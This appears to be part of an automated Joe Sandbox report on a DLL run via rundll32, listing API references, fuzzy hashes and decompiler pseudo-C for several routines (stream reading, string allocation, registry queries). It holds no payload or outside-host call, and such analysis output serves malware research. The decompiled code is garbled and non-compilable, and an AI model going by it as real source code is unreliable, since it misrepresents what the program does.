0x7fef47387c6
0x7fef47387cf
0x7fef47387e0
0x7fef47387ea
0x7fef47387f2
0x7fef47387fd
0x7fef4738808
0x7fef4738816
0x7fef473881b
0x7fef473882a
0x7fef4738838
0x7fef4738846
0x7fef4738854
0x7fef4738862
0x7fef4738870
0x7fef473887e
0x7fef473888c
0x7fef4738896
0x7fef47388a4
0x7fef47388ae
0x7fef47388b3
0x7fef47388bf
0x7fef47388c7
0x7fef47388d7
0x7fef47388e3
0x7fef47388f3
0x7fef4738902
0x7fef473890c
0x7fef4738911
0x7fef473891d
0x7fef4738925
0x7fef4738936
0x7fef4738940
0x7fef4738945
0x7fef4738951
0x7fef4738959
0x7fef473896a
0x7fef4738974
0x7fef4738979
0x7fef4738985
0x7fef473898d
0x7fef473899e
0x7fef47389a8
0x7fef47389ad
0x7fef47389b9
0x7fef47389c1
0x7fef47389d2
0x7fef47389dc
0x7fef47389e1
0x7fef47389ed
0x7fef47389f5
0x7fef4738a06
0x7fef4738a10
0x7fef4738a15
0x7fef4738a21
0x7fef4738a29
0x7fef4738a3a
0x7fef4738a44
0x7fef4738a5a
0x7fef4738a5f
0x7fef4738a79

APIs

GetModuleHandleA.KERNEL32 ref: 000007FEF473837F
GetProcAddress.KERNEL32 ref: 000007FEF47383BA
InternetReadFile.WININET ref: 000007FEF47383E9
wcsstr.LIBCMT ref: 000007FEF473855F
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 000007FEF47388F3

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: AddressFileHandleInternetIos_base_dtorModuleProcReadstd::ios_base::_wcsstr
String ID:
API String ID: 1552035547-0
Opcode ID: 7f2b6b690df2b20734387f63023e5b504401f0e1fb0228d52c041a7ffa97c5da
Instruction ID: 587df8643ce8695bae58ddf36baf5b477fedf3fdccda47e82b5bf0a1f7e7adbd
Opcode Fuzzy Hash: 7f2b6b690df2b20734387f63023e5b504401f0e1fb0228d52c041a7ffa97c5da
Instruction Fuzzy Hash: 1991603260DBC6D0EBB0DB65E450BEEA3A1F795344F418122D68D43AAADF7DD648CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF473B900 Relevance: 6.1, APIs: 4, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E000007FE7FEF473B900(void* __ecx, void* __edx, void* __ebp, long long __rbx, void* __rcx, long long __rdi) {
				int _t72;
				signed char _t73;
				void* _t75;
				void* _t77;
				void* _t79;
				void* _t95;
				void* _t96;
				void* _t98;
				void* _t119;
				signed long long _t120;
				void* _t134;
				void* _t135;
				intOrPtr _t140;
				long long _t142;
				intOrPtr* _t154;
				intOrPtr _t160;
				void* _t165;
				void* _t166;
				void* _t167;
				signed long long _t168;
				intOrPtr _t170;
				long long* _t171;
				void* _t173;

				_t119 = _t167;
				_t166 = _t119 - 0x5f;
				_t168 = _t167 - 0x90;
				 *((long long*)(_t166 + 7)) = 0xfffffffe;
				 *((long long*)(_t119 + 0x10)) = __rbx;
				 *((long long*)(_t119 + 0x18)) = __rdi;
				_t120 =  *0xf4777530; // 0xf9634ebbaa1d
				 *(_t166 + 0x47) = _t120 ^ _t168;
				_t140 =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x38))));
				if (_t140 == 0) goto 0xf473b968;
				_t154 =  *((intOrPtr*)(__rcx + 0x50));
				_t170 =  *_t154;
				if (_t140 - _t140 + _t170 >= 0) goto 0xf473b968;
				 *_t154 = _t170 - 1;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x38)))) =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x38)))) + 1;
				goto 0xf473bb23;
				if ( *((long long*)(__rcx + 0x90)) != 0) goto 0xf473b97a;
				goto 0xf473bb23;
				_t171 =  *((intOrPtr*)(__rcx + 0x18));
				if ( *_t171 != __rcx + 0x80) goto 0xf473b9a4;
				_t142 =  *((intOrPtr*)(__rcx + 0x68));
				 *_t171 = _t142;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x38)))) = _t142;
				 *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x50)))) = __edx - __ecx;
				if ( *((long long*)(__rcx + 0x78)) != 0) goto 0xf473b9cc;
				_t72 = fgetc(??); // executed
				if (_t72 == 0xffffffff) goto 0xf473b9c4;
				goto 0xf473bb21;
				goto 0xf473bb21;
				 *((long long*)(_t166 + 0x3f)) = 0xf;
				 *((long long*)(_t166 + 0x37)) = 0;
				 *((char*)(_t166 + 0x27)) = 0;
				_t73 = fgetc(??);
				if (_t73 == 0xffffffff) goto 0xf473bb0e;
				r8d = _t73 & 0x000000ff;
				E000007FE7FEF4722A50( *((intOrPtr*)(__rcx + 0x50)), _t166 + 0x27,  *((intOrPtr*)(__rcx + 0x70)), __rdi);
				_t158 =  >=  ?  *((void*)(_t166 + 0x27)) : _t166 + 0x27;
				_t173 =  >=  ?  *((void*)(_t166 + 0x27)) : _t166 + 0x27;
				_t179 =  *((intOrPtr*)(_t166 + 0x37)) + ( >=  ?  *((void*)(_t166 + 0x27)) : _t166 + 0x27);
				 *((long long*)(_t168 + 0x38)) = _t166 + 0x17;
				 *((long long*)(_t168 + 0x30)) = _t166 + 0x20;
				 *((long long*)(_t168 + 0x28)) = _t166 + 0x1f;
				 *((long long*)(_t168 + 0x20)) = _t166 + 0xf;
				_t75 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x78)))) + 0x30))();
				if (_t75 < 0) goto 0xf473bb0e;
				if (_t75 - 1 <= 0) goto 0xf473ba7d;
				if (_t75 != 3) goto 0xf473bb0e;
				if ( *((long long*)(_t166 + 0x37)) - 1 >= 0) goto 0xf473baac;
				goto 0xf473b9e0;
				if ( *((intOrPtr*)(_t166 + 0x17)) != _t166 + 0x1f) goto 0xf473bad1;
				_t134 =  >=  ?  *((void*)(_t166 + 0x27)) : _t166 + 0x27;
				E000007FE7FEF4722E90(_t75, __rcx, _t166 + 0x27, __rcx + 0x84,  *((intOrPtr*)(_t166 + 0xf)) - _t134);
				goto 0xf473b9e0;
				_t177 =  >=  ?  *((void*)(_t166 + 0x27)) : _t166 + 0x27;
				r9d = 1;
				_t77 = E000007FE7FEF47439F4(__ecx, _t95, _t96, _t98, _t134, __rcx, _t166 + 0x1f, __rcx + 0x84, _t165,  >=  ?  *((void*)(_t166 + 0x27)) : _t166 + 0x27,  *((intOrPtr*)(_t166 + 0x37)) + ( >=  ?  *((void*)(_t166 + 0x27)) : _t166 + 0x27));
				goto 0xf473bb11;
				_t135 =  >=  ?  *((void*)(_t166 + 0x27)) : _t134;
				_t79 = _t77 - __ecx +  *((intOrPtr*)(_t166 + 0x37));
				if (_t79 <= 0) goto 0xf473bacb;
				_t160 =  *((intOrPtr*)(__rcx + 0x90));
				ungetc(??, ??);
				if (_t79 - 1 <= 0) goto 0xf473bacb;
				goto 0xf473baf0;
				if ( *((long long*)(_t166 + 0x3f)) - 0x10 < 0) goto 0xf473bb21;
				E000007FE7FEF4741974( *((intOrPtr*)(_t166 + 0x27)));
				return E000007FE7FEF4740F90( *((char*)(_t79 - 1 +  *((intOrPtr*)(_t166 + 0xf)))), _t95, _t96, _t98,  *(_t166 + 0x47) ^ _t168, _t160,  >=  ?  *((void*)(_t166 + 0x27)) : _t166 + 0x27);
			}

0x7fef473b900
0x7fef473b904
0x7fef473b908
0x7fef473b90f
0x7fef473b917
0x7fef473b91b
0x7fef473b91f
0x7fef473b929
0x7fef473b934
0x7fef473b93a
0x7fef473b93c
0x7fef473b940
0x7fef473b94a
0x7fef473b950
0x7fef473b95d
0x7fef473b963
0x7fef473b970
0x7fef473b975
0x7fef473b97a
0x7fef473b988
0x7fef473b98e
0x7fef473b992
0x7fef473b999
0x7fef473b9a2
0x7fef473b9a9
0x7fef473b9b2
0x7fef473b9ba
0x7fef473b9bf
0x7fef473b9c7
0x7fef473b9cc
0x7fef473b9d4
0x7fef473b9dc
0x7fef473b9e7
0x7fef473b9ef
0x7fef473b9f5
0x7fef473ba02
0x7fef473ba10
0x7fef473ba19
0x7fef473ba29
0x7fef473ba30
0x7fef473ba39
0x7fef473ba42
0x7fef473ba4b
0x7fef473ba57
0x7fef473ba5d
0x7fef473ba66
0x7fef473ba6b
0x7fef473ba76
0x7fef473ba78
0x7fef473ba89
0x7fef473ba90
0x7fef473baa2
0x7fef473baa7
0x7fef473bab5
0x7fef473babf
0x7fef473bac6
0x7fef473bacf
0x7fef473bad6
0x7fef473bae1
0x7fef473bae9
0x7fef473baf7
0x7fef473bafe
0x7fef473bb06
0x7fef473bb0c
0x7fef473bb16
0x7fef473bb1c
0x7fef473bb43

APIs

fgetc.LIBCMT ref: 000007FEF473B9B2

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: fgetc
String ID:
API String ID: 2807381905-0
Opcode ID: decac8407657b4f3168606eaf3b9c94182ade05ad8c313dcfa1a588844d064c5
Instruction ID: 63347a0acdf4a496c93bda5664f377246b75b5f85765586325563bacb4761e9c
Opcode Fuzzy Hash: decac8407657b4f3168606eaf3b9c94182ade05ad8c313dcfa1a588844d064c5
Instruction Fuzzy Hash: 3E61163260AA45C8EBA08F35C4917BC33A5F748B58F515232EA9D87BEADF39D564C310

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF47599C4 Relevance: 6.1, APIs: 4, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E000007FE7FEF47599C4(void* __ebx, signed int __ecx, void* __edx, void* __esp, void* __rax, long long __rbx, signed long long __rcx, intOrPtr* __rdx, long long __rbp, void* __r8, long long _a8, signed int _a16, signed int _a17, char _a18, signed char _a24, signed char _a25, long long _a32) {
				void* _v24;
				intOrPtr _v40;
				intOrPtr _v48;
				intOrPtr _v56;
				long long _v64;
				intOrPtr _v72;
				void* __rsi;
				void* _t42;
				signed int _t47;
				void* _t77;
				signed long long _t85;
				void* _t100;

				_t100 = __r8;
				_t85 = __rcx;
				_t77 = __rax;
				goto 0xf47598c8;
				asm("int3");
				asm("int3");
				asm("int3");
				_a8 = __rbx;
				_a32 = __rbp;
				if (__rdx != 0) goto 0xf47599fc;
				E000007FE7FEF474F67C(__rax, __rdx);
				r14d = E000007FE7FEF474F60C(_t77, __rdx);
				goto 0xf4759a03;
				r14d =  *__rdx;
				if ( *((intOrPtr*)(__rdx + 0x18)) != 0) goto 0xf4759a1a;
				if (__ecx - 0x61 - 0x19 > 0) goto 0xf4759a13;
				_t47 = __ebx - 0x20;
				goto 0xf4759afb;
				if (_t47 - 0x100 >= 0) goto 0xf4759a43;
				if (__rdx != 0) goto 0xf4759a39;
				if (E000007FE7FEF47416E8(_t47, _t47) != 0) goto 0xf4759a48;
				goto 0xf4759a13;
				if (( *( *((intOrPtr*)(__rdx + 8)) + __ecx * 2) & bpl) == 0) goto 0xf4759a13;
				if (__rdx != 0) goto 0xf4759a61;
				E000007FE7FEF474F5D0( *((intOrPtr*)(__rdx + 8)), __rdx);
				goto 0xf4759a78;
				if (( *( *((intOrPtr*)(__rdx + 8)) + _t85 * 2) >> 0x0000000f & 0x00000001) == 0) goto 0xf4759a90;
				_a17 = _t47;
				_a18 = 0;
				_a16 = _t47 >> 8;
				goto 0xf4759a9e;
				_a16 = _t47;
				_a17 = 0;
				_v40 = 1;
				_v48 = r14d;
				_v56 = 3;
				_v64 =  &_a24;
				r8d = 0x200;
				_v72 = 1;
				_t42 = E000007FE7FEF4747EDC( *( *((intOrPtr*)(__rdx + 8)) + _t85 * 2) >> 0x0000000f & 0x00000001, __esp,  *( *((intOrPtr*)(__rdx + 8)) + _t85 * 2) >> 0x0000000f & 0x00000001,  &_a24, __ecx, _t85,  *((intOrPtr*)(__rdx + 0x18)),  *((intOrPtr*)(__rdx + 0x18)), _t100,  &_a16);
				if (_t42 == 0) goto 0xf4759a13;
				if (_t42 == 1) goto 0xf4759afb;
				return (_a24 & 0x000000ff) << 0x00000008 | _a25 & 0x000000ff;
			}

0x7fef47599c4
0x7fef47599c4
0x7fef47599c4
0x7fef47599c4
0x7fef47599c9
0x7fef47599ca
0x7fef47599cb
0x7fef47599cc
0x7fef47599d1
0x7fef47599e7
0x7fef47599e9
0x7fef47599f7
0x7fef47599fa
0x7fef4759a00
0x7fef4759a06
0x7fef4759a0e
0x7fef4759a10
0x7fef4759a15
0x7fef4759a25
0x7fef4759a2a
0x7fef4759a35
0x7fef4759a37
0x7fef4759a41
0x7fef4759a46
0x7fef4759a48
0x7fef4759a5f
0x7fef4759a7a
0x7fef4759a7e
0x7fef4759a82
0x7fef4759a8a
0x7fef4759a8e
0x7fef4759a90
0x7fef4759a94
0x7fef4759a9e
0x7fef4759aa6
0x7fef4759ab3
0x7fef4759abb
0x7fef4759ac5
0x7fef4759ad0
0x7fef4759ad4
0x7fef4759adb
0x7fef4759aec
0x7fef4759b0f

APIs

_fsopen.LIBCMT ref: 000007FEF4759959
fclose.LIBCMT ref: 000007FEF4759966
_fsopen.LIBCMT ref: 000007FEF475997B
fseek.LIBCMT ref: 000007FEF4759995

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: _fsopen$fclosefseek
String ID:
API String ID: 410343947-0
Opcode ID: 58ef96b7fa666d9035b76c7b8e6af7f58b6e2c1e852787a2cb78b0d23fcf5d5c
Instruction ID: 13875a029cd34cd9f2d6b10c21c3b622090b05f86df63291bccc2d8a7f893bdd
Opcode Fuzzy Hash: 58ef96b7fa666d9035b76c7b8e6af7f58b6e2c1e852787a2cb78b0d23fcf5d5c
Instruction Fuzzy Hash: 1821D1A2F2E686C5FAE4CA17D441F7A62D5EBC4B84F1841348E8D8B7F5DB2DE4028740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4729010 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E000007FE7FEF4729010(long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, long long __rbp, long long __r14, long long _a8, long long _a16, long long _a24, long long _a32) {
				void* _t20;
				signed int _t23;
				void* _t25;
				void* _t26;
				void* _t28;
				intOrPtr _t41;
				intOrPtr* _t43;
				intOrPtr* _t46;
				intOrPtr* _t47;
				void* _t48;
				intOrPtr* _t49;
				void* _t50;
				intOrPtr* _t54;
				signed long long _t63;

				_t48 = __rdx;
				_t46 = __rcx;
				_a32 = __rbx;
				_t50 = __rdx;
				_t43 = __rcx;
				if (__rdx - 0xfffffffe > 0) goto 0xf47290d8;
				_t41 =  *((intOrPtr*)(__rcx + 0x18));
				_a16 = __rsi;
				if (_t41 - __rdx >= 0) goto 0xf472904e;
				E000007FE7FEF47292E0(_t20, __rcx, __rdx,  *((intOrPtr*)(__rcx + 0x10)));
				goto 0xf47290c2;
				if (r8b == 0) goto 0xf47290ad;
				if (_t48 - 8 >= 0) goto 0xf47290ad;
				_a24 = __r14;
				_t63 =  <  ? _t48 :  *((intOrPtr*)(_t46 + 0x10));
				if (_t41 - 8 < 0) goto 0xf4729095;
				_a8 = __rbp;
				_t54 =  *_t46;
				if (_t63 == 0) goto 0xf4729088;
				_t49 = _t54;
				E000007FE7FEF4740FC0(_t25, _t26, 0, _t28, _t46, _t49, _t63 + _t63);
				_t47 = _t54;
				_t23 = E000007FE7FEF4741974(_t47);
				 *(_t43 + 0x10) = _t63;
				 *((long long*)(_t43 + 0x18)) = 7;
				 *((short*)(_t43 + _t63 * 2)) = 0;
				goto 0xf47290c2;
				if (_t49 != 0) goto 0xf47290c2;
				 *((long long*)(_t47 + 0x10)) = __rsi;
				if (_t41 - 8 < 0) goto 0xf47290bf;
				 *((short*)( *_t47)) = 0;
				return _t23 & 0xffffff00 | _t50 != 0x00000000;
			}

0x7fef4729010
0x7fef4729010
0x7fef4729010
0x7fef4729024
0x7fef4729027
0x7fef472902d
0x7fef4729033
0x7fef4729037
0x7fef4729041
0x7fef4729047
0x7fef472904c
0x7fef4729051
0x7fef4729057
0x7fef4729059
0x7fef4729065
0x7fef472906d
0x7fef472906f
0x7fef4729074
0x7fef472907a
0x7fef4729080
0x7fef4729083
0x7fef4729088
0x7fef472908b
0x7fef4729095
0x7fef4729099
0x7fef47290a1
0x7fef47290ab
0x7fef47290b0
0x7fef47290b2
0x7fef47290ba
0x7fef47290bf
0x7fef47290d7

APIs

std::_Xbad_alloc.LIBCPMT ref: 000007FEF4729148

Part of subcall function 000007FEF47292E0: std::_Xbad_alloc.LIBCPMT ref: 000007FEF4729383

Strings

yxxxxxxx, xrefs: 000007FEF472916B
string too long, xrefs: 000007FEF47290D8

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Xbad_allocstd::_
String ID: string too long$yxxxxxxx
API String ID: 3176948561-1477738345
Opcode ID: 80f16cd470b3c3420c84e4d44af155eddf5cd126f0f1f614eb2431ed2cc197d0
Instruction ID: 87732efc63c83a27d41902e098dab47d2d8e5d09093e2b89aca828263f0ae259
Opcode Fuzzy Hash: 80f16cd470b3c3420c84e4d44af155eddf5cd126f0f1f614eb2431ed2cc197d0
Instruction Fuzzy Hash: 8541296270E786C1EEA49B16E5407A9A2E0F744BD0F1C8531AEAD077F4DF7CE5418700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4745CCC Relevance: 4.7, APIs: 3, Instructions: 168
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E000007FE7FEF4745CCC(void* __rax, long long __rbx, void* __rcx, long long __rsi, long long __rbp, long long _a8, long long _a16, long long _a24) {
				void* __rdi;
				void* _t7;
				void* _t11;

				_t11 = __rax;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t7 = E000007FE7FEF4746AF0(__rbx, __rcx, __rcx, __rsi, __rbp); // executed
				r13d = 0;
				if (_t11 != 0) goto 0xf4745d22;
				return _t7;
			}

0x7fef4745ccc
0x7fef4745ccc
0x7fef4745cd1
0x7fef4745cd6
0x7fef4745cf5
0x7fef4745cfa
0x7fef4745d03
0x7fef4745d21

APIs

_malloc_crt.LIBCMT ref: 000007FEF4745CF5

Part of subcall function 000007FEF4746AF0: malloc.LIBCMT ref: 000007FEF4746B1B
Part of subcall function 000007FEF4746AF0: Sleep.KERNEL32(?,?,?,000007FEF4748A98,?,?,?,000007FEF4748997,?,?,0000000D,000007FEF474502F,?,?,00000000,000007FEF47450FA), ref: 000007FEF4746B2E

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Sleep_malloc_crtmalloc
String ID:
API String ID: 362294811-0
Opcode ID: 37a79707fc82e32e308beffec426d6da254c1d4ef771b96536d515d47c6a2c04
Instruction ID: 87acb1f207168a4c79267a04c387c13ae09a88774685201d2e54f797bfdcb086
Opcode Fuzzy Hash: 37a79707fc82e32e308beffec426d6da254c1d4ef771b96536d515d47c6a2c04
Instruction Fuzzy Hash: 65618E2670AB56D2FBA09B26E980B7A23E0F748794F4481359F4D07BB5DF3CE5668700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF47329C0 Relevance: 4.6, APIs: 3, Instructions: 121
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E000007FE7FEF47329C0(void* __rcx, short* __rdx, long long __r8) {
				signed int _v40;
				char _v568;
				char _v1096;
				char _v1100;
				intOrPtr _v1104;
				long long _v1112;
				long long _v1120;
				short _v1128;
				long long _v1136;
				long long _v1144;
				void* __rbx;
				void* __rsi;
				long _t46;
				void* _t48;
				void* _t58;
				void* _t59;
				void* _t60;
				signed long long _t74;
				long long _t77;
				signed long long _t85;
				signed long long _t87;
				short* _t111;
				signed long long _t112;

				_v1120 = 0xfffffffe;
				_t74 =  *0xf4777530; // 0xf9634ebbaa1d
				_v40 = _t74 ^ _t112;
				_t111 = __rdx;
				_v1112 = __r8;
				_v1128 = 0;
				_v1100 = 0x208;
				if ( *((long long*)(__r8 + 0x18)) - 8 < 0) goto 0xf4732a0b;
				goto 0xf4732a0e;
				_v1136 =  &_v1100;
				_t77 =  &_v1096;
				_v1144 = _t77;
				r8d = 0;
				_t46 = RegQueryValueExW(??, ??, ??, ??, ??, ??); // executed
				if (_t46 != 0) goto 0xf4732b52;
				if (_v1104 != 4) goto 0xf4732a99;
				r9d = _t77 + 6;
				r8d = 0x104;
				_t48 = E000007FE7FEF474219C(_v1096);
				 *((long long*)(__rdx + 0x18)) = 7;
				 *(__rdx + 0x10) = _t85;
				 *__rdx = 0;
				if (_v1096 != 0) goto 0xf4732a79;
				goto 0xf4732a8c;
				if ( *((short*)( &_v1096 + ((_t85 | 0xffffffff) + 1) * 2)) != 0) goto 0xf4732a82;
				goto 0xf4732b6b;
				if (_t48 != 1) goto 0xf4732ada;
				 *((long long*)(__rdx + 0x18)) = 7;
				 *(__rdx + 0x10) = _t85;
				 *__rdx = 0;
				if (_v1096 != 0) goto 0xf4732aba;
				goto 0xf4732a8c;
				if ( *((short*)( &_v1096 + ((_t85 | 0xffffffff) + 1) * 2)) != 0) goto 0xf4732ac3;
				goto 0xf4732b6b;
				if (_t48 != 2) goto 0xf4732b48;
				r8d = 0x104;
				ExpandEnvironmentStringsW(??, ??, ??);
				 *((long long*)(__rdx + 0x18)) = 7;
				 *(__rdx + 0x10) = _t85;
				 *__rdx = 0;
				if (_v568 == 0) goto 0xf4732b2a;
				_t87 = (_t85 | 0xffffffff) + 1;
				if ( *((short*)( &_v568 + _t87 * 2)) != 0) goto 0xf4732b20;
				E000007FE7FEF4728E10(_t87, __rdx,  &_v568, __rdx, _t87);
				E000007FE7FEF4723B40((_t85 | 0xffffffff) + 1, __r8);
				goto 0xf4732b92;
				E000007FE7FEF4723B40((_t85 | 0xffffffff) + 1, __r8);
				goto 0xf4732b95;
				 *((long long*)(_t111 + 0x18)) = 7;
				 *(_t111 + 0x10) = _t87;
				 *_t111 = 0;
				r8d = 0;
				E000007FE7FEF4728E10(_t87, _t111, 0xf476ad38, _t111, _t87); // executed
				if ( *((long long*)(__r8 + 0x18)) - 8 < 0) goto 0xf4732b83;
				E000007FE7FEF4741974( *((intOrPtr*)(__r8)));
				 *((long long*)(__r8 + 0x18)) = 7;
				 *(__r8 + 0x10) = _t87;
				 *((short*)(__r8)) = 0;
				return E000007FE7FEF4740F90(_v1096, _t58, _t59, _t60, _v40 ^ _t112, 0xf476ad38, _t87);
			}

0x7fef47329cb
0x7fef47329d4
0x7fef47329de
0x7fef47329e9
0x7fef47329ec
0x7fef47329f3
0x7fef47329f7
0x7fef4732a04
0x7fef4732a09
0x7fef4732a13
0x7fef4732a18
0x7fef4732a1d
0x7fef4732a27
0x7fef4732a2e
0x7fef4732a36
0x7fef4732a43
0x7fef4732a45
0x7fef4732a49
0x7fef4732a58
0x7fef4732a5d
0x7fef4732a65
0x7fef4732a69
0x7fef4732a72
0x7fef4732a77
0x7fef4732a8a
0x7fef4732a94
0x7fef4732a9c
0x7fef4732a9e
0x7fef4732aa6
0x7fef4732aaa
0x7fef4732ab3
0x7fef4732ab8
0x7fef4732acb
0x7fef4732ad5
0x7fef4732add
0x7fef4732adf
0x7fef4732af2
0x7fef4732af8
0x7fef4732b00
0x7fef4732b04
0x7fef4732b10
0x7fef4732b20
0x7fef4732b28
0x7fef4732b38
0x7fef4732b41
0x7fef4732b46
0x7fef4732b4b
0x7fef4732b50
0x7fef4732b52
0x7fef4732b5a
0x7fef4732b5e
0x7fef4732b61
0x7fef4732b6e
0x7fef4732b79
0x7fef4732b7e
0x7fef4732b83
0x7fef4732b8b
0x7fef4732b8f
0x7fef4732baf

APIs

RegQueryValueExW.ADVAPI32 ref: 000007FEF4732A2E
_itow_s.LIBCMT ref: 000007FEF4732A58
ExpandEnvironmentStringsW.KERNEL32 ref: 000007FEF4732AF2

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: EnvironmentExpandQueryStringsValue_itow_s
String ID:
API String ID: 2567110511-0
Opcode ID: 034cad07b868ef9f95cb9afef5a243a65ac2689a18bad17093a0ae459853996b
Instruction ID: 6448dfa55a10b3d15483d15631699e0bbc424f0e33621f7f7939031f20608482
Opcode Fuzzy Hash: 034cad07b868ef9f95cb9afef5a243a65ac2689a18bad17093a0ae459853996b
Instruction Fuzzy Hash: 11519C32A0DB85C2E6B08F14E094B7AB3B0F7417A4F505625DBAD47AE4EBBCE194C740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4728C80 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF4728C80(void* __eax, intOrPtr* __rcx) {
				unsigned long long _t16;
				intOrPtr _t18;
				unsigned long long _t20;
				void* _t23;
				intOrPtr _t27;
				signed long long _t29;
				void* _t30;
				intOrPtr _t33;

				_t18 =  *((intOrPtr*)(__rcx + 0x10));
				_t27 =  *((intOrPtr*)(__rcx + 8));
				if (_t18 - _t27 >> 5 - 1 >= 0) goto 0xf4728cf9;
				_t33 =  *__rcx;
				_t29 = _t27 - _t33 >> 5;
				if (0xffffffff - _t29 - 1 < 0) goto 0xf4728cfe;
				_t30 = _t29 + 1;
				_t20 = _t18 - _t33 >> 5;
				_t16 = _t20 >> 1;
				if (0xffffffff - _t16 - _t20 >= 0) goto 0xf4728ce6;
				_t21 =  <  ? _t30 : _t20;
				goto 0xf47291f0;
				_t22 = ( <  ? _t30 : _t20) + _t16;
				_t23 =  <  ? _t30 : ( <  ? _t30 : _t20) + _t16;
				goto 0xf47291f0;
				return __eax;
			}

0x7fef4728c84
0x7fef4728c88
0x7fef4728c9a
0x7fef4728c9c
0x7fef4728caf
0x7fef4728cba
0x7fef4728cbf
0x7fef4728cc2
0x7fef4728cc9
0x7fef4728cd2
0x7fef4728cd9
0x7fef4728ce1
0x7fef4728ce6
0x7fef4728cec
0x7fef4728cf4
0x7fef4728cfd

APIs

std::_Xbad_alloc.LIBCPMT ref: 000007FEF47292D3

